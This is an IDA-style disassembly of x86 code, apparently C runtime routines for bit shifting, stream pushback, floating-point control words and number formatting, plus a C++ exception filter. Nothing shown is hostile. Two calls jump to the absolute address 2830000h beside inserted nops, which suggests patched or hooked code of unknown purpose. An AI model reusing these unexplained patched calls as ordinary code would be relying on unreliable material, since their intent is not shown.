		cmp	eax, 1
		jle	short loc_423F4B
		cmp	[ebp+arg_8], eax
		jl	short loc_423F55
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DB374
		nop
		call	near ptr 2830000h
		test	eax, eax
		mov	eax, dword_43C534
		jnz	short loc_423EE8

loc_423F4B:				; CODE XREF: sub_423EC3+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_423F55
		cmp	[esi+1], bl
		jnz	short loc_423EE8

loc_423F55:				; CODE XREF: sub_423EC3+61j
					; sub_423EC3+8Bj ...
		mov	dword_4DB2A8, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------

loc_423F64:				; CODE XREF: sub_423EC3+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DB374
		call	near ptr 2830000h
		nop
		test	eax, eax
		jnz	loc_423F02
		jmp	short loc_423F55
sub_423EC3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423F90	proc near		; CODE XREF: sub_420510+797p
					; sub_420510+7E7p
		cmp	cl, 40h
		jnb	short loc_423FAA
		cmp	cl, 20h
		jnb	short loc_423FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------

loc_423FA0:				; CODE XREF: sub_423F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------

loc_423FAA:				; CODE XREF: sub_423F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_423F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FAF	proc near		; CODE XREF: sub_420F86+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_423FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_423FCD
		test	al, 80h
		jz	short loc_423FFB
		test	al, 2
		jnz	short loc_423FFB

loc_423FCD:				; CODE XREF: sub_423FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_423FDA
		push	esi
		call	sub_4239EF
		pop	ecx

loc_423FDA:				; CODE XREF: sub_423FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_423FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_423FFB
		inc	eax
		mov	[esi], eax

loc_423FEA:				; CODE XREF: sub_423FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424007
		inc	eax
		mov	[esi], eax

loc_423FFB:				; CODE XREF: sub_423FAF+9j
					; sub_423FAF+18j ...
		or	eax, 0FFFFFFFFh

loc_423FFE:				; CODE XREF: sub_423FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_424001:				; CODE XREF: sub_423FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl

loc_424007:				; CODE XREF: sub_423FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_423FFE
sub_423FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42401D	proc near		; CODE XREF: sub_421576+52p
		xor	eax, eax
		retn
sub_42401D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424020	proc near		; CODE XREF: sub_424055+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42406B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_4240FD
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424020	endp


; =============== S U B	R O U T	I N E =======================================



sub_424055	proc near		; CODE XREF: sub_421862+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424020
		pop	ecx
		pop	ecx
		retn
sub_424055	endp


; =============== S U B	R O U T	I N E =======================================



sub_42406B	proc near		; CODE XREF: sub_424020+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42407C
		push	10h
		pop	eax

loc_42407C:				; CODE XREF: sub_42406B+Cj
		test	bl, 4
		jz	short loc_424083
		or	al, 8

loc_424083:				; CODE XREF: sub_42406B+14j
		test	bl, 8
		jz	short loc_42408A
		or	al, 4

loc_42408A:				; CODE XREF: sub_42406B+1Bj
		test	bl, 10h
		jz	short loc_424091
		or	al, 2

loc_424091:				; CODE XREF: sub_42406B+22j
		test	bl, 20h
		jz	short loc_424098
		or	al, 1

loc_424098:				; CODE XREF: sub_42406B+29j
		test	bl, 2
		jz	short loc_4240A2
		or	eax, 80000h

loc_4240A2:				; CODE XREF: sub_42406B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4240DA
		cmp	edx, 400h
		jz	short loc_4240D7
		cmp	edx, 800h
		jz	short loc_4240D3
		cmp	edx, esi
		jnz	short loc_4240DA
		or	eax, edi
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------

loc_4240D3:				; CODE XREF: sub_42406B+5Ej
		or	eax, ebp
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------

loc_4240D7:				; CODE XREF: sub_42406B+56j
		or	ah, 1

loc_4240DA:				; CODE XREF: sub_42406B+4Ej
					; sub_42406B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4240EA
		cmp	ecx, ebp
		jnz	short loc_4240EF
		or	eax, 10000h
		jmp	short loc_4240EF
; ---------------------------------------------------------------------------

loc_4240EA:				; CODE XREF: sub_42406B+72j
		or	eax, 20000h

loc_4240EF:				; CODE XREF: sub_42406B+76j
					; sub_42406B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_4240FC
		or	eax, 40000h

locret_4240FC:				; CODE XREF: sub_42406B+8Aj
		retn
sub_42406B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240FD	proc near		; CODE XREF: sub_424020+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42410D
		push	1
		pop	eax

loc_42410D:				; CODE XREF: sub_4240FD+Bj
		test	bl, 8
		jz	short loc_424114
		or	al, 4

loc_424114:				; CODE XREF: sub_4240FD+13j
		test	bl, 4
		jz	short loc_42411B
		or	al, 8

loc_42411B:				; CODE XREF: sub_4240FD+1Aj
		test	bl, 2
		jz	short loc_424122
		or	al, 10h

loc_424122:				; CODE XREF: sub_4240FD+21j
		test	bl, 1
		jz	short loc_424129
		or	al, 20h

loc_424129:				; CODE XREF: sub_4240FD+28j
		test	ebx, 80000h
		jz	short loc_424133
		or	al, 2

loc_424133:				; CODE XREF: sub_4240FD+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424160
		cmp	ecx, 100h
		jz	short loc_42415D
		cmp	ecx, esi
		jz	short loc_424158
		cmp	ecx, edx
		jnz	short loc_424160
		or	ah, 0Ch
		jmp	short loc_424160
; ---------------------------------------------------------------------------

loc_424158:				; CODE XREF: sub_4240FD+50j
		or	ah, 8
		jmp	short loc_424160
; ---------------------------------------------------------------------------

loc_42415D:				; CODE XREF: sub_4240FD+4Cj
		or	ah, 4

loc_424160:				; CODE XREF: sub_4240FD+44j
					; sub_4240FD+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424176
		cmp	ecx, 10000h
		jnz	short loc_424178
		or	eax, esi
		jmp	short loc_424178
; ---------------------------------------------------------------------------

loc_424176:				; CODE XREF: sub_4240FD+6Bj
		or	eax, edx

loc_424178:				; CODE XREF: sub_4240FD+73j
					; sub_4240FD+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424185
		or	ah, 10h

locret_424185:				; CODE XREF: sub_4240FD+83j
		retn
sub_4240FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_424186	proc near		; CODE XREF: sub_424225+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4241CB
		inc	esi
		cmp	esi, 3
		jge	short loc_4241C6
		lea	eax, [eax+esi*4]

loc_4241B8:				; CODE XREF: sub_424186+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4241CB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4241B8

loc_4241C6:				; CODE XREF: sub_424186+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4241CB:				; CODE XREF: sub_424186+27j
					; sub_424186+35j
		xor	eax, eax
		pop	esi
		retn
sub_424186	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241CF	proc near		; CODE XREF: sub_424225+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		js	short loc_424221
		lea	edi, [ebx+esi*4]

loc_424208:				; CODE XREF: sub_4241CF+50j
		test	eax, eax
		jz	short loc_424221
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424208

loc_424221:				; CODE XREF: sub_4241CF+34j
					; sub_4241CF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4241CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424225	proc near		; CODE XREF: sub_424380+81p
					; sub_424380+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424289
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424186
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424286
		push	edi
		push	[ebp+arg_0]
		call	sub_4241CF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx

loc_424286:				; CODE XREF: sub_424225+51j
		mov	eax, [ebp+arg_4]

loc_424289:				; CODE XREF: sub_424225+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_4242A9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd

loc_4242A9:				; CODE XREF: sub_424225+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424225	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242B1	proc near		; CODE XREF: sub_424380+75p
					; sub_424380+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx

loc_4242BF:				; CODE XREF: sub_4242B1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_4242BF
		pop	esi
		retn
sub_4242B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242CC	proc near		; CODE XREF: sub_424380+5Fp
					; sub_424380+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4242CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242D8	proc near		; CODE XREF: sub_424380+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx

loc_4242DE:				; CODE XREF: sub_4242D8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_4242F0
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_4242DE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_4242F0:				; CODE XREF: sub_4242D8+9j
		xor	eax, eax
		retn
sub_4242D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4242F3	proc near		; CODE XREF: sub_424380+C0p
					; sub_424380+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi

loc_424329:				; CODE XREF: sub_4242F3+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424329
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2

loc_42435B:				; CODE XREF: sub_4242F3+86j
		cmp	ebx, edi
		jl	short loc_42436E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424375
; ---------------------------------------------------------------------------

loc_42436E:				; CODE XREF: sub_4242F3+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0

loc_424375:				; CODE XREF: sub_4242F3+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_42435B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4242F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424380	proc near		; CODE XREF: sub_4244EC+Dp
					; sub_424502+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_4243ED
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_4242D8
		test	eax, eax
		pop	ecx
		jnz	loc_4244AC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx

loc_4243E5:				; CODE XREF: sub_424380+E4j
		push	2

loc_4243E7:				; CODE XREF: sub_424380+110j
		pop	eax
		jmp	loc_4244AE
; ---------------------------------------------------------------------------

loc_4243ED:				; CODE XREF: sub_424380+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4242B1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		add	esp, 10h
		test	eax, eax
		jz	short loc_42440E
		inc	ebx

loc_42440E:				; CODE XREF: sub_424380+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424426
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx
		jmp	short loc_424462
; ---------------------------------------------------------------------------

loc_424426:				; CODE XREF: sub_424380+98j
		cmp	ebx, eax
		jg	short loc_424469
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242B1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_4242F3
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		add	esp, 20h

loc_424462:				; CODE XREF: sub_424380+A4j
		xor	esi, esi
		jmp	loc_4243E5
; ---------------------------------------------------------------------------

loc_424469:				; CODE XREF: sub_424380+A8j
		cmp	ebx, [edi]
		jl	short loc_424495
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_4243E7
; ---------------------------------------------------------------------------

loc_424495:				; CODE XREF: sub_424380+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_4242F3
		pop	ecx
		pop	ecx

loc_4244AC:				; CODE XREF: sub_424380+55j
		xor	eax, eax

loc_4244AE:				; CODE XREF: sub_424380+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_4244DD
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_4244E7
; ---------------------------------------------------------------------------

loc_4244DD:				; CODE XREF: sub_424380+14Ej
		cmp	edi, 20h
		jnz	short loc_4244E7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi

loc_4244E7:				; CODE XREF: sub_424380+15Bj
					; sub_424380+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4244EC	proc near		; CODE XREF: sub_424518+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43CCA8
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_4244EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424502	proc near		; CODE XREF: sub_424545+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43CCC0
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_424502	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424518	proc near		; CODE XREF: sub_42199B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4244EC
		add	esp, 24h
		leave
		retn
sub_424518	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424545	proc near		; CODE XREF: sub_42199B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424502
		add	esp, 24h
		leave
		retn
sub_424545	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424572	proc near		; CODE XREF: sub_4219D9+65p
					; sub_421ADD+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_4245AF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx

loc_424595:				; CODE XREF: sub_424572+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_4245A1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_4245A4
; ---------------------------------------------------------------------------

loc_4245A1:				; CODE XREF: sub_424572+27j
		push	30h
		pop	edx

loc_4245A4:				; CODE XREF: sub_424572+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424595
		mov	edx, [ebp+arg_8]

loc_4245AF:				; CODE XREF: sub_424572+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_4245C8
		cmp	byte ptr [ecx],	35h
		jl	short loc_4245C8

loc_4245BB:				; CODE XREF: sub_424572+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_4245C6
		mov	byte ptr [eax],	30h
		jmp	short loc_4245BB
; ---------------------------------------------------------------------------

loc_4245C6:				; CODE XREF: sub_424572+4Dj
		inc	byte ptr [eax]

loc_4245C8:				; CODE XREF: sub_424572+42j
					; sub_424572+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_4245D2
		inc	dword ptr [edx+4]
		jmp	short loc_4245E4
; ---------------------------------------------------------------------------

loc_4245D2:				; CODE XREF: sub_424572+59j
		push	edi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41CC90
		add	esp, 10h

loc_4245E4:				; CODE XREF: sub_424572+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424572	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4245E9	proc near		; CODE XREF: sub_4219D9+3Fp
					; sub_421ADD+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42464D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DB4A0
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4256C2
		mov	dword_4DB4C8, eax
		add	esp, 18h
		movsx	eax, byte_4DB4A2
		mov	dword_4DB4C0, eax
		pop	edi
		movsx	eax, word_4DB4A0
		mov	dword_4DB4C4, eax
		mov	dword_4DB4CC, offset dword_4DB4A4
		mov	eax, offset dword_4DB4C0
		pop	esi
		leave
		retn
sub_4245E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42464D	proc near		; CODE XREF: sub_4245E9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_42469B
		cmp	ebx, edi
		jz	short loc_424694
		lea	edi, [ecx+3C00h]
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------

loc_424694:				; CODE XREF: sub_42464D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------

loc_42469B:				; CODE XREF: sub_42464D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4246B3
		cmp	edx, ebx
		jnz	short loc_4246B3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_4246FE
; ---------------------------------------------------------------------------

loc_4246B3:				; CODE XREF: sub_42464D+52j
					; sub_42464D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx

loc_4246BC:				; CODE XREF: sub_42464D+45j
					; sub_42464D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx

loc_4246D4:				; CODE XREF: sub_42464D+A6j
		test	ecx, esi
		jnz	short loc_4246F5
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_4246D4
; ---------------------------------------------------------------------------

loc_4246F5:				; CODE XREF: sub_42464D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx

loc_4246FE:				; CODE XREF: sub_42464D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42464D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41DA29
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42470C	proc near		; DATA XREF: ___:0043C8E8o
					; ___:0043D148o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42472F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42472F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42472F
		jmp	sub_42255C
; ---------------------------------------------------------------------------

loc_42472F:				; CODE XREF: sub_42470C+Dj
					; sub_42470C+13j ...
		mov	eax, dword_4DB4D0
		test	eax, eax
		jz	short loc_42474C
		push	eax
		call	sub_4247A8
		test	eax, eax
		pop	ecx
		jz	short loc_42474C
		push	esi
		call	dword_4DB4D0
		jmp	short loc_42474E
; ---------------------------------------------------------------------------

loc_42474C:				; CODE XREF: sub_42470C+2Aj
					; sub_42470C+35j
		xor	eax, eax

loc_42474E:				; CODE XREF: sub_42470C+3Ej
		pop	esi
		retn	4
sub_42470C	endp

; ---------------------------------------------------------------------------
word_424752	dw 0C68h		; DATA XREF: ___:00429028o
